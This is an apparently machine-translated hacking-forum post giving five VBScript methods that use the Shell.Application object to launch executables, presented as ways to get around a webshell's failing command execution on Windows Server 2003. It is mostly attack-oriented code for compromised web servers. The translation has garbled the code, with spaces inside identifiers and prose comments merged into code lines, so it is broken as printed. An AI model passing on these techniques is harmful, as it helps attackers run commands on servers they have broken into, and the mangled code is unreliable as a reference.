Many people may find that the Shell. Application Command Execution method in the top 2006 + version of Haiyang is not easy to use in win2003. When I first wrote this version by Ma, I tested the simplified and traditional versions 2003, which should be easy to use. I guess it is probably related to the patch ms06014 on 2003. Parse proposed a solution in the freezing point forum. I studied this component this afternoon and found that it has five methods to execute commands. The following is the vbs version (asp version is not provided. You can use asp version to run commands in webshell 2003 :-):
Set objShellApp = CreateObject ("Shell. Application ")
Set objFolder = objShellApp. NameSpace ("c :")
ObjFolder. Items (). item ("demo.exe"). invokeverb method 1
ObjFolder. Items (). item ("demo.exe"). InvokeVerbEx method 2
ObjShellApp. Open ("C: demo.exe") method 3
ObjShellApp. ShellExecute "demo.exe", "", "c:", "", "1" method 4. You can add parameters and set parameter values.
Method 5
Set objFolderItem = objShellApp. NameSpace ("C:"). Items (). item ("demo.exe ")
Set objFIVs = objFolderItem. Verbs ()
For I = 0 To objFIVs. Count-1
MsgBox objFIVs. Item (I)
Set objFIV = objFIVs. Item (I)
If objFIV. Name = "open (& O)" Then right-click the menu and choose "open (& O)" in the Chinese system.
ObjFIV. DoIt
Exit
End IF
Next